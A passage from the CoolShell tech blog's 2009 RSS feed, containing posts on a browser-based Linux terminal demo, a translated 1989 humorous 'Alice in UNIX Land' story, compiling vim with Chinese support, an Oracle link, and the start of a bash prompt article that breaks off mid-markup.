href=\"https://coolshell.cn/articles/1441.html\">WebTTY！太酷了！</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>这真是一件很Cool的事，在Web上操作Linux，请访问下面这个链接：</p>\n<p style=\"TEXT-ALIGN: center\"><a href=\"http://19.testape.com/webtty_page.php\" target=\"_blank\">http://19.testape.com/webtty_page.php</a></p>\n<p>于是你会看到页面中间的红色，一个小操作系统启动了，红色的最下方是一个bash-2.05b#</p>\n<p>试着输入一下命令吧。</p>\n<p>bash-2.05b# uname -a<br />\nLinux (none) 2.6.18 #2 Mon Dec 29 19:47:06 UTC 2008 i686 GNU/Linux</p>\n<p>命令支持的不多，好像只是一个单机版的虚拟机，一但你打开网页时就起动一个。当然，也不排除其完全是假的，因为太简单了，一切都可以fake出来。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/9508.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/04/Google-Person-Finder-150x150.png\" alt=\"PFIF网上寻人协议\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9508.html\" class=\"wp_rp_title\">PFIF网上寻人协议</a></li><li ><a href=\"https://coolshell.cn/articles/2424.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/12.jpg\" alt=\"十条不错的编程观点\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2424.html\" class=\"wp_rp_title\">十条不错的编程观点</a></li><li ><a href=\"https://coolshell.cn/articles/3480.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/01/OB-LP754_bestjo_D_20110104181820-150x150.jpg\" alt=\"一些有意思的网站和贴子\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3480.html\" class=\"wp_rp_title\">一些有意思的网站和贴子</a></li><li ><a href=\"https://coolshell.cn/articles/17381.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2016/07/PerfTest-150x150.png\" alt=\"性能测试应该怎么做？\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17381.html\" class=\"wp_rp_title\">性能测试应该怎么做？</a></li><li ><a href=\"https://coolshell.cn/articles/1313.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg\" alt=\"Erlang和Python互通\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1313.html\" class=\"wp_rp_title\">Erlang和Python互通</a></li><li ><a href=\"https://coolshell.cn/articles/4131.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/6.jpg\" alt=\"WSDL 1.1 中文规范\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4131.html\" class=\"wp_rp_title\">WSDL 1.1 中文规范</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1441.html\">WebTTY！太酷了！</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/1441.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>7</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Alice梦游UNIX仙境</title>\n\t\t<link>https://coolshell.cn/articles/1439.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/1439.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Sat, 19 Sep 2009 02:33:00 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Unix/Linux]]></category>\n\t\t<category><![CDATA[技术读物]]></category>\n\t\t<category><![CDATA[Unix]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=1439</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>本文来源：http://www.pma.caltech.edu/Publications/alice.in.unix.land.html （这是一篇1989年的...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/1439.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/1439.html\">Alice梦游UNIX仙境</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>本文来源：<a href=\"http://www.pma.caltech.edu/Publications/alice.in.unix.land.html\">http://www.pma.caltech.edu/Publications/alice.in.unix.land.html</a><br />\n（这是一篇1989年的文章）</p>\n<p>Alice 正在在她的显示器上读着一些信息，她开会怀疑所有的事情并不是应该的那样。“程序太大了，而无法适应内存”，她读到。</p>\n<p>“一个很奇怪的事情”，她说，“我所做的也就是在启动我的字处理程序会运行了14个TSR（terminate-and-stay-resident 常驻程序）。所有这些程序需要使用4M的内存，我希望我能使用超过640K以上的内存”。</p>\n<p>就在那个时候，一个小的白色的顾问（一个非常白的顾问）跑过了房间。“哦，我的外套和领带”，他说到，“我要迟到了。并且是每小时150元。”Alice本想对他说点什么，他却跳到了Alice的显示器里并到在操作系统后面消失了。</p>\n<p><span id=\"more-1439\"></span></p>\n<p>Alice 从来没有见过有人可以跳到显示器里，并且肯定不是通过操作系统干。但是，曾有人告诉他，DOS这个操作系统是非常肤浅的。于是，她没有怎么犹豫，Alice也跳了进去。</p>\n<p>Alice发现她自己在一个明亮的走廊里。她不知道要做什么，她开始向前走，走过了一个拐角后，她发现她的前面有两个小胖子，他们互相搂着对对方的脖子。一个人的领口上绣着“POS”，另一个则是“NEG”。</p>\n<p>“我知道”，Alice说，“你俩是晶体管”。</p>\n<p>“是的”，Positive回答到。</p>\n<p>“你们能帮我吗？”Alice问道。</p>\n<p>“不能”，Negative回答。</p>\n<p>“我在找一个白色的顾问”，Alice指着她走过来的方向，“他走的是这条路吗？”Alice继续问道。</p>\n<p>“不是”，Negative回答到。</p>\n<p>Alice又指了另一条路。</p>\n<p>“是的”，Postive回答到。</p>\n<p>很快，Alice来到了一个很大的棕色的桌前。那个顾问就在那里，名字叫Mad Hacker，并且有一些Alice并不知道的生物围在桌边。在角落里，有一个睡鼠在那熟睡。在桌子上放着一个大的标牌 ，上面写着“UNIX Conference”</p>\n<p>每一个人除了那只睡鼠都有一个纸杯，纸杯里应该是奶油蛋羹的样子。“错误的佐料”，他们所有人都这么说，并把杯子传递给他们右手边的人，并且优雅地从他们的左边接过杯子。Alice 看着他们重复着这个仪式三到四次后，她也坐到了他们中间。</p>\n<p>马上，一个很大的癞蛤蟆跳到了他的大腿上，并看着她就好像希望得到Alice的宠爱。“Grep”，它叫到。</p>\n<p>“别介意”，Mad Hacker解释道，“他只是想查找一些字符串”。</p>\n<p>“Nroff？” 蛤蟆问到。</p>\n<p>Mad Hacker 给了Alice一个有看似有奶油蛋羹杯子以及一把勺子。“这里”，他问到，“你对这个有什么想法？”</p>\n<p>“看起来很可爱”，Alice说，“非常甜”。她边说边尝了一勺。“讨厌！”他叫到，“真糟糕，这是什么啊？！”</p>\n<p>“哦，这只不过是Unix的另一个图形界面”，Hacker回答道。</p>\n<p>Alice 指着角落里的那只睡鼠说：“他是谁？”</p>\n<p>“那也是一个操作系统”，Hacker解释道，“我们几乎放弃了去把他唤醒过来”。</p>\n<p>就在这个时候，坐在睡鼠旁边的一个很大的蓝色的大象站了起来。“女士们，先生们”，他很傲慢地说到，“作为在这里的一个最大的生物，我感到我们必需开明地来看一下&#8230;&#8230;”</p>\n<p>一个在桌子另一边的年轻的“工作麻雀”愤努地站了起来。大象注意这事，并改变了他的演讲，“&#8230;&#8230;什么是我们下一步的行动”。</p>\n<p>有一半的生物鞠躬至敬，而另一半的生物偷偷窃笑。这个时候，睡鼠醒过来了，要和这个大象合并。没人有一丁点的惊讶。</p>\n<p>“我们需要什么”，一只Sun熊宣称，他用他的长甜头舔了舔那个奶油蛋羹说道，“我们需要的是一个像Macintosh那样的调料”。</p>\n<p>突然，那个白色顾问红着脸跳了起来，“不，不，不！”他尖叫着，“没有人会150元一小时的费用给Macintosh！”</p>\n<p>“Awk”，青蛙说道。</p>\n<p>“用户”，Sun熊解释到，“用户们希望的是那种简单到不需要学习的用户接口”。</p>\n<p>“用户？”Hacker叫到“用户？！你说的是那些秘书，会计，建筑师，以及体力劳动者！”</p>\n<p>“喔”Sun熊说到，“我得做点什么得让他们把系统切换到UNIX”。</p>\n<p>“你们是否觉得，”一个正在桌子上打洞的啄木鸟说，“我们一同使用Unix这个名字会是一个问题？我的意思是，这样想的并不只有我一个人。”</p>\n<p>“也许我们应该试试别的名字”，工作麻雀说，“比如：Brut或Rambo”。</p>\n<p>“Penix” 一只企鹅说到。</p>\n<p>&#8220;mount&#8221;，蛤蟆说，“spawn”。</p>\n<p>Alice 拍了一下蛤蟆。“nice?” 蛤蟆问到。</p>\n<p>“但是”，啄木鸟又建议到，“ShrinkWap的问题怎么办？”</p>\n<p>突然，每一个人都跳了起来，而且都变得活跃起来，挥动着他们的双手大叫着，但只一会，他们又全都坐下来。</p>\n<p>“现在这个问题解决了”，啄木鸟说，“让我们回到调料的问题上来吧”。</p>\n<p>于是，桌子边的每个人又采样了一个新的奶油蛋羹，继续说到“错误的调料”，然后把杯子传给右边的人，并从左边的人接过杯子。</p>\n<p>完全地被搞糊涂了，Alice起身离开了，她正在正在离开的过程中，她听到了身后传来了一个熟悉的声音。</p>\n<p>“rem”，它说，“edlin”</p>\n<p>Alice 转过身去，看到了那只蛤蟆，她微笑着。“你总是说着这些古怪发音的单词”，她说，“但至少我知道他们是什么意思”。</p>\n<p>“chkdsk”， 蛤蟆说到。</p>\n<p>&#8212;&#8211;By Lincoln Spector TEXAS COMPUTER CURRENTS SEPTEMBER 1989<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/19996.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2019/11/ken.dennis-300x186-1-150x150.jpeg\" alt=\"Unix 50 年：Ken Thompson 的密码\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/19996.html\" class=\"wp_rp_title\">Unix 50 年：Ken Thompson 的密码</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/17998.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/07/systemd-1-150x150.jpeg\" alt=\"Linux PID 1 和 Systemd\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17998.html\" class=\"wp_rp_title\">Linux PID 1 和 Systemd</a></li><li ><a href=\"https://coolshell.cn/articles/12103.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/11/tux-fork-150x150.gif\" alt=\"vfork 挂掉的一个问题\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12103.html\" class=\"wp_rp_title\">vfork 挂掉的一个问题</a></li><li ><a href=\"https://coolshell.cn/articles/11847.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/08/puzzle-150x150.png\" alt=\"谜题的答案和活动的心得体会\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11847.html\" class=\"wp_rp_title\">谜题的答案和活动的心得体会</a></li><li ><a href=\"https://coolshell.cn/articles/9410.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/04/figure1-150x150.gif\" alt=\"Unix考古记：一个“遗失”的shell\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9410.html\" class=\"wp_rp_title\">Unix考古记：一个“遗失”的shell</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1439.html\">Alice梦游UNIX仙境</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/1439.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>10</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>编译vim解决中文支持</title>\n\t\t<link>https://coolshell.cn/articles/1432.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/1432.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[free.wang]]></dc:creator>\n\t\t<pubDate>Sat, 19 Sep 2009 00:47:04 +0000</pubDate>\n\t\t\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[编程工具]]></category>\n\t\t<category><![CDATA[vim]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=1432</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>最近开始抛弃Ubuntu折腾CentOS 5.3(注：无意挑起OS之争)，每当换一个OS，第一个配置的就是VIM。 介于以前在MacOSX的编译经验，直接三部曲...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/1432.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/1432.html\">编译vim解决中文支持</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>最近开始抛弃Ubuntu折腾CentOS 5.3(注：无意挑起OS之争)，每当换一个OS，第一个配置的就是VIM。</p>\n<p>介于以前在MacOSX的编译经验，直接三部曲</p>\n<blockquote><p><span style=\"color: #ff0000\">./configue &amp;&amp; sudo make &amp;&amp; sudo make install</span></p></blockquote>\n<p>解决的问题。  但在CentOS之后发现无论如何都不支持中文。</p>\n<p>通过文档的翻阅和google的搜索，发现了问题出现在编译上。vim支持中文需要2个基本feature：multi_byte和iconv。</p>\n<p><span id=\"more-1432\"></span></p>\n<p>在vim中输入 :version  发现这2个feature都是  &#8211; multi_byte 和 &#8211; iconv。看来编译的时候参数没有配置对。</p>\n<p>于是重新执行以下代码</p>\n<blockquote><p>./configure &#8211;prefix=/usr &#8211;with-features=huge<br />\nsudo make<br />\nsudo make install</p></blockquote>\n<p>问题就解决了。</p>\n<p>另外vim配置文件从第一行(我是unicode的统一论者)，加上</p>\n<blockquote><p>set enc=utf-8<br />\nset tenc=utf-8<br />\nset fenc=utf-8<br />\nset fencs=utf-8,usc-bom</p></blockquote>\n<p>其实整个问题都很简单。 但是我发现搜索引擎里的资料 不是通过直观的关键字搜出来的。 所以这里做下一个记录，希望对以后的朋友有所帮助。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/11312.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/03/success_vim-150x150.jpg\" alt=\"无插件Vim编程技巧\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11312.html\" class=\"wp_rp_title\">无插件Vim编程技巧</a></li><li ><a href=\"https://coolshell.cn/articles/8883.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/01/linux-bash-300x225-150x150.jpg\" alt=\"应该知道的Linux技巧\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8883.html\" class=\"wp_rp_title\">应该知道的Linux技巧</a></li><li ><a href=\"https://coolshell.cn/articles/7829.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/07/dstat_screenshot-150x150.png\" alt=\"28个Unix/Linux的命令行神器\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7829.html\" class=\"wp_rp_title\">28个Unix/Linux的命令行神器</a></li><li ><a href=\"https://coolshell.cn/articles/7166.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/04/vimadventuresgamefun-150x150.jpg\" alt=\"游戏：VIM大冒险\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7166.html\" class=\"wp_rp_title\">游戏：VIM大冒险</a></li><li ><a href=\"https://coolshell.cn/articles/5224.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/09/image008-150x150.jpg\" alt=\"一些文章和各种资源\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5224.html\" class=\"wp_rp_title\">一些文章和各种资源</a></li><li ><a href=\"https://coolshell.cn/articles/5479.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/09/vim_cheat_sheet_for_programmers_print-150x150.png\" alt=\"给程序员的VIM速查卡\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5479.html\" class=\"wp_rp_title\">给程序员的VIM速查卡</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1432.html\">编译vim解决中文支持</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/1432.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>4</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Oracle的战书！</title>\n\t\t<link>https://coolshell.cn/articles/1426.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/1426.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[Neo]]></dc:creator>\n\t\t<pubDate>Fri, 11 Sep 2009 08:24:47 +0000</pubDate>\n\t\t\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[IBM]]></category>\n\t\t<category><![CDATA[Oracle]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=1426</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>http://www.oracle.com/features/suncustomers.html （转载本站文章请注明作者和出处 酷 壳 &#8211; Coo...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/1426.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/1426.html\">Oracle的战书！</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script></p>\n<p style=\"text-align: center;\"><a href=\"http://www.oracle.com/features/suncustomers.html\">http://www.oracle.com/features/suncustomers.html</a><img decoding=\"async\" loading=\"lazy\" title=\"sun customers\" src=\"https://coolshell.cn/wp-content/uploads/2009/09/sun_customers_lg.gif\" alt=\"sun customers\" width=\"370\" height=\"552\" /></p>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/962.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/6.jpg\" alt=\"【原创】SQL栏目树的代码\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/962.html\" class=\"wp_rp_title\">【原创】SQL栏目树的代码</a></li><li ><a href=\"https://coolshell.cn/articles/595.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/18.jpg\" alt=\"Oracle成功收购Sun\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/595.html\" class=\"wp_rp_title\">Oracle成功收购Sun</a></li><li ><a href=\"https://coolshell.cn/articles/203.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/03/ibm-potentially-buying-sun-150x150.jpg\" alt=\"IBM收购Sun，这是一种什么样的精神？\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/203.html\" class=\"wp_rp_title\">IBM收购Sun，这是一种什么样的精神？</a></li><li ><a href=\"https://coolshell.cn/articles/786.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/26.jpg\" alt=\"用TCC可以干些什么？\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/786.html\" class=\"wp_rp_title\">用TCC可以干些什么？</a></li><li ><a href=\"https://coolshell.cn/articles/1145.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/18.jpg\" alt=\"程序员犯的非技术错误(Top 5)\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1145.html\" class=\"wp_rp_title\">程序员犯的非技术错误(Top 5)</a></li><li ><a href=\"https://coolshell.cn/articles/3512.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/27.jpg\" alt=\"64位平台C/C++开发注意事项\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3512.html\" class=\"wp_rp_title\">64位平台C/C++开发注意事项</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1426.html\">Oracle的战书！</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/1426.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>4</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>8个实用而有趣Bash命令提示行</title>\n\t\t<link>https://coolshell.cn/articles/1399.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/1399.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[Neo]]></dc:creator>\n\t\t<pubDate>Mon, 07 Sep 2009 09:44:22 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Unix/Linux]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[Bash]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=1399</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>很多人都对过命令行提示的重要性不屑一顾，甚至是一点都不关心。但是我却一点都不这么认为，一个好的命令行提示可以改变你使用命令的方式。为此，我在internet上找...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/1399.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/1399.html\">8个实用而有趣Bash命令提示行</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script></p>\n<p style=\"margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 2px; padding-left: 0px; line-height: 20px;\">很多人都对过命令行提示的重要性不屑一顾，甚至是一点都不关心。但是我却一点都不这么认为，一个好的命令行提示可以改变你使用命令的方式。为此，我在internet上找到一些非常实用，优秀，并有趣的bash的命令行提示。下面我将我最喜欢使用的一些命令行提示罗列如下。</p>\n<p style=\"margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 2px; padding-left: 0px; line-height: 20px;\">注意  &#8211;  要使用下面这些提示，你可以拷贝粘贴这些以&#8221;PS1&#8243;打头的内容到你的终端上，为了使你的改变永久生效，还要将这些内容粘贴到你使用用户的~/.bashrc文件中去。</p>\n<p style=\"margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 2px; padding-left: 0px; line-height: 20px;\"><span id=\"more-1399\"></span></p>\n<h3>1. 在成功执行的命令上增加一个笑脸符号</h3>\n<p style=\"margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 2px; padding-left: 0px; line-height: 20px;\">这个命令提示行可能是这个命令行提示列表中最有趣的一个，但是它也依然有使用的价值。这个提示的想法是基于当你命令被成功执行，你将会得到一个笑脸作为你的命令行提示，一旦的命令执行失败，命令行提示将会换成一个哭脸。</p>\n<p style=\"margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 2px; padding-left: 0px; line-height: 20px;\">例子：</p>\n<p style=\"margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 2px; padding-left: 0px; line-height: 20px; text-align: center;\"><img decoding=\"async\" class=\"aligncenter\" src=\"http://images.maketecheasier.com/2009/08/bashprompts-happyface.jpg\" alt=\"bashprompts-happyface\" /></p>\n<p style=\"margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 2px; padding-left: 0px; line-height: 20px;\">代码：</p>\n<p style=\"margin-top: 